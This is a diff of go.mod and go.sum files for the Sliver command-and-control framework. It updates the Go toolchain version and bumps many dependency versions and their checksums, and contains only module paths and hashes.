gopkg.in/jcmturner/dnsutils.v1 v1.0.1 h1:cIuC1OLRGZrld+16ZJvvZxVJeKPsvd5eUIvxfoN5hSM=
@@ -406,6 +610,8 @@ gopkg.in/jcmturner/rpc.v1 v1.1.0 h1:QHIUxTX1ISuAv9dD2wJ9HWQVuWDX/Zc0PfeC2tjc4rU=
gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLvuNnlv8=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
@@ -414,14 +620,23 @@ gorm.io/driver/mysql v1.5.1 h1:WUEH5VF9obL/lTtzjmML/5e6VfFR/788coz2uaVCAZw=
gorm.io/driver/mysql v1.5.1/go.mod h1:Jo3Xu7mMhCyj8dlrb3WoCaRd1FhsVh+yMXb1jUInf5o=
gorm.io/driver/postgres v1.5.2 h1:ytTDxxEv+MplXOfFe3Lzm7SjG09fcdb3Z/c056DTBx0=
gorm.io/driver/postgres v1.5.2/go.mod h1:fmpX0m2I1PKuR7mKZiEluwrP3hbs+ps7JIGMUBpCgl8=
gorm.io/driver/sqlite v1.5.1 h1:hYyrLkAWE71bcarJDPdZNTLWtr8XrSjOWyjUYI6xdL4=
gorm.io/driver/sqlite v1.5.1/go.mod h1:7MZZ2Z8bqyfSQA1gYEV6MagQWj3cpUkJj9Z+d1HEMEQ=
gorm.io/gorm v1.25.1 h1:nsSALe5Pr+cM3V1qwwQ7rOkw+6UeLrX5O4v3llhHa64=
gorm.io/driver/sqlite v1.5.2 h1:TpQ+/dqCY4uCigCFyrfnrJnrW9zjpelWVoEVNy5qJkc=
gorm.io/driver/sqlite v1.5.2/go.mod h1:qxAuCol+2r6PannQDpOP1FP6ag3mKi4esLnB/jHed+4=
gorm.io/gorm v1.25.1/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5 h1:cv/zaNV0nr1mJzaeo4S5mHIm5va1W0/9J3/5prlsuRM=
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5/go.mod h1:TIvkJD0sxe8pIob3p6T8IzxXunlp6yfgktvTNp+DGNM=
gorm.io/gorm v1.25.5 h1:zR9lOiiYf09VNh5Q1gphfyia1JpiClIWG9hQaxB/mls=
gorm.io/gorm v1.25.5/go.mod h1:hbnx/Oo0ChWMn1BIhpy1oYozzpM15i4YPuHDmfYtwg8=
gvisor.dev/gvisor v0.0.0-20231116203655-c480f66679e6 h1:QYF5D47yyyibiD9otaga9OZu9JK/epGfDfJckWn3TAI=
gvisor.dev/gvisor v0.0.0-20231116203655-c480f66679e6/go.mod h1:10sU+Uh5KKNv1+2x2A0Gvzt8FjD3ASIhorV3YsauXhk=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.4.6 h1:oFEHCKeID7to/3autwsWfnuv69j3NsfcXbvJKuIcep8=
honnef.co/go/tools v0.4.6/go.mod h1:+rnGS1THNh8zMwnd2oVOTL9QF6vmfyG6ZXBULae2uc0=
howett.net/plist v1.0.0 h1:7CrbWYbPPO/PyNy38b2EB/+gYbjCe2DXBxgtOOZbSQM=
howett.net/plist v1.0.0/go.mod h1:lqaXoTrLY4hg8tnEzNru53gicrbv7rrk+2xJA/7hw9g=
inet.af/peercred v0.0.0-20210906144145-0893ea02156a h1:qdkS8Q5/i10xU2ArJMKYhVa1DORzBfYS/qA2UK2jheg=
inet.af/peercred v0.0.0-20210906144145-0893ea02156a/go.mod h1:FjawnflS/udxX+SvpsMgZfdqx2aykOlkISeAsADi5IU=
inet.af/wf v0.0.0-20221017222439-36129f591884 h1:zg9snq3Cpy50lWuVqDYM7AIRVTtU50y5WXETMFohW/Q=
inet.af/wf v0.0.0-20221017222439-36129f591884/go.mod h1:bSAQ38BYbY68uwpasXOTZo22dKGy9SNvI6PZFeKomZE=
lukechampine.com/uint128 v1.2.0 h1:mBi/5l91vocEN8otkC5bDLhi2KdCticRiwbdB0O+rjI=
lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
modernc.org/cc/v3 v3.40.0 h1:P3g79IUS/93SYhtoeaHW+kRCIrYaxJ27MFPv+7kaTOw=
@@ -429,20 +644,30 @@ modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0=
modernc.org/ccgo/v3 v3.16.13 h1:Mkgdzl46i5F/CNR/Kj80Ri59hC8TKAhZrYSaqvkwzUw=
modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY=
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
modernc.org/libc v1.22.5 h1:91BNch/e5B0uPbJFgqbxXuOnxBQjlS//icfQEGmvyjE=
modernc.org/libc v1.22.5/go.mod h1:jj+Z7dTNX8fBScMVNRAYZ/jF91K8fdT2hYMThc3YjBY=
modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ=
modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/memory v1.5.0 h1:N+/8c5rE6EqugZwHii4IFsaJ7MUhoWX07J5tC/iI5Ds=
modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU=
modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM=
modernc.org/libc v1.29.0 h1:tTFRFq69YKCF2QyGNuRUQxKBm1uZZLubf6Cjh/pVHXs=
modernc.org/libc v1.29.0/go.mod h1:DaG/4Q3LRRdqpiLyP0C2m1B8ZMGkQ+cCgOIjEtQlYhQ=
modernc.org/mathutil v1.6.0 h1:fRe9+AmYlaej+64JsEEhoWuAYBkOtQiMEU7n/XgfYi4=
modernc.org/mathutil v1.6.0/go.mod h1:Ui5Q9q1TR2gFm0AQRqQUaBWFLAhQpCwNcuhBOSedWPo=
modernc.org/memory v1.7.2 h1:Klh90S215mmH8c9gO98QxQFsY+W451E8AnzjoE2ee1E=
modernc.org/memory v1.7.2/go.mod h1:NO4NVCQy0N7ln+T9ngWqOQfi7ley4vpwvARR+Hjw95E=
modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
modernc.org/sqlite v1.22.1 h1:P2+Dhp5FR1RlVRkQ3dDfCiv3Ok8XPxqpe70IjYVA9oE=
modernc.org/sqlite v1.22.1/go.mod h1:OrDj17Mggn6MhE+iPbBNf7RGKODDE9NFT0f3EwDzJqk=
modernc.org/sqlite v1.27.0 h1:MpKAHoyYB7xqcwnUwkuD+npwEa0fojF0B5QRbN+auJ8=
modernc.org/sqlite v1.27.0/go.mod h1:Qxpazz0zH8Z1xCFyi5GSL3FzbtZ3fvbjmywNogldEW0=
modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY=
modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw=
modernc.org/tcl v1.15.2 h1:C4ybAYCGJw968e+Me18oW55kD/FexcHbqH2xak1ROSY=
modernc.org/tcl v1.15.2/go.mod h1:3+k/ZaEbKrC8ePv8zJWPtBSW0V7Gg9g8rkmhI1Kfs3c=
modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg=
modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
modernc.org/z v1.7.3 h1:zDJf6iHjrnB+WRD88stbXokugjyc0/pB91ri1gO6LZY=
modernc.org/z v1.7.3/go.mod h1:Ipv4tsdxZRbQyLq9Q1M6gdbkxYzdlrciF2Hi/lS7nWE=
nhooyr.io/websocket v1.8.7 h1:usjR2uOr/zjjkVMy0lW+PPohFok7PCow5sDjLgX4P4g=
nhooyr.io/websocket v1.8.7/go.mod h1:B70DZP8IakI65RVQ51MsWP/8jndNma26DVA/nFSCgW0=
software.sslmate.com/src/go-pkcs12 v0.2.1 h1:tbT1jjaeFOF230tzOIRJ6U5S1jNqpsSyNjzDd58H3J8=
software.sslmate.com/src/go-pkcs12 v0.2.1/go.mod h1:Qiz0EyvDRJjjxGyUQa2cCNZn/wMyzrRJ/qcDXOQazLI=
tailscale.com v1.54.0 h1:Dri5BTKkHYpl+/t8ofY+tyvoTDbH/FpP7iB4B0cAQOY=
tailscale.com v1.54.0/go.mod h1:MnLFoCRwzFWr3qtkSW2nZdQpK7wQRZEk1KtcEGAuZYw=
+17 -18
View File
@@ -1,8 +1,11 @@
module github.com/bishopfox/sliver
go 1.18
go 1.21.1
toolchain go1.21.4
require (
filippo.io/age v1.1.1
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/Ne0nd0g/go-clr v1.0.3
github.com/gofrs/uuid v4.0.0+incompatible
@@ -10,44 +13,40 @@ require (
github.com/lesnuages/go-winio v0.4.19
github.com/miekg/dns v1.1.50
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/pquerna/otp v1.3.0
github.com/stretchr/testify v1.7.0
github.com/tetratelabs/wazero v1.2.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
google.golang.org/protobuf v1.28.0
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
golang.org/x/crypto v0.13.0
golang.org/x/sys v0.14.0
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb
google.golang.org/protobuf v1.31.0
)
require (
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/Microsoft/go-winio v0.6.0 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/google/go-cmp v0.5.8 // indirect
github.com/google/btree v1.1.2 // indirect
github.com/hashicorp/go-uuid v1.0.2 // indirect
github.com/jcmturner/gofork v1.0.0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
golang.org/x/mod v0.5.1 // indirect
golang.org/x/text v0.3.7 // indirect
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
golang.org/x/tools v0.1.9 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
golang.org/x/mod v0.13.0 // indirect
golang.org/x/net v0.15.0 // indirect
golang.org/x/text v0.14.0 // indirect
golang.org/x/time v0.3.0 // indirect
golang.org/x/tools v0.13.0 // indirect
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
gvisor.dev/gvisor v0.0.0-20230927004350-cbd86285d259 // indirect
)
+34 -35
View File
@@ -1,19 +1,19 @@
filippo.io/age v1.1.1 h1:pIpO7l151hCnQ4BdyBujnGP2YlUo0uj6sAVNHGBvXHg=
filippo.io/age v1.1.1/go.mod h1:l03SrzDUrBkdBx8+IILdnn2KZysqQdbEBUQ4p3sqEQE=
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 h1:8kQNJC9AxAaNs0JkXnWUfbNeDnIO1QLYYWjYqC6JEE4=
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIpsiV4q9ts+WOYNnjHiji2FOR5BsDzxiY=
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc h1:7D+Bh06CRPCJO3gr2F7h1sriovOZ8BMhca2Rg85c2nk=
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/Microsoft/go-winio v0.5.1 h1:aPJp2QD7OOrhO5tQXqQoGSJc+DjDtWTGLOmNyAm6FgY=
github.com/Microsoft/go-winio v0.5.1/go.mod h1:JPGBdM1cNvN/6ISo+n8V5iA4v8pBzdOpzfwIujj1a84=
github.com/Microsoft/go-winio v0.6.0 h1:slsWYD/zyx7lCXoZVlvQrj0hPTM1HI4+v1sIda2yDvg=
github.com/Microsoft/go-winio v0.6.0/go.mod h1:cTAf44im0RAYeL23bpB+fzCyDH2MJiz2BO69KH/soAE=
github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
@@ -22,11 +22,11 @@ github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nv
github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw=
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
github.com/google/btree v1.0.1 h1:gK4Kx5IaGY9CD5sPJ36FHiBJ6ZXl0kilRiiCj+jdYp4=
github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA=
github.com/google/btree v1.1.2 h1:xf4v41cLI2Z6FxbKm+8Bu+m8ifhj15JuZ9sa0jZCMUU=
github.com/google/btree v1.1.2/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg=
github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE=
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
@@ -44,12 +44,9 @@ github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4Ha
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
@@ -63,21 +60,22 @@ github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd h1:XcWmESyNjXJMLahc3mqVQJcgSTDxFxhETVlfk9uGc38=
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.13.0 h1:mvySKfSWJ+UKUii46M40LOvyWfN0s2U+46/jDd0e6Ck=
golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc=
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.5.1 h1:OJxoQ/rynoF0dcCdI7cLPktw/hR2cueqYfjm43oqK38=
golang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro=
golang.org/x/mod v0.13.0 h1:I/DsJXRlw/8l/0c24sM9yb0T4z9liZTduXvdAWYiysY=
golang.org/x/mod v0.13.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b h1:PxfKdU9lEEDYjdIzOtC4qFWgkU2rGHdKlKowJSMN9h0=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/net v0.15.0 h1:ugBLEUaxABaB5AJqW9enI0ACdci2RUd4eP51NTBvuJ8=
golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E=
golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -90,34 +88,35 @@ golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f h1:v4INt8xihDGvnrfjMDVXGxw9wrfxYyCjk0KbXjhR55s=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.14.0 h1:Vz7Qs629MkJkGyHxUlRHizWJRG2j8fbQKjELVSNhy7Q=
golang.org/x/sys v0.14.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
golang.org/x/term v0.12.0 h1:/ZfYdc3zq+q02Rv9vGqTeSItdzZTSNDmfTi0mBAuidU=
golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 h1:/5xXl8Y5W96D+TtHSlonuFqGHIWVuyCkGJLwGh9JJFs=
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ=
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4=
golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/tools v0.1.9 h1:j9KsMiaP1c3B0OTQGth0/k+miLGTgLsAFUCrF2vLcF8=
golang.org/x/tools v0.1.9/go.mod h1:nABZi5QlRsZVlzPpHl034qft6wpY4eDcsTt5AaioBiU=
golang.org/x/tools v0.13.0 h1:Iey4qkscZuv0VvIt8E0neZjtPVQFSc870HQ448QgEmQ=
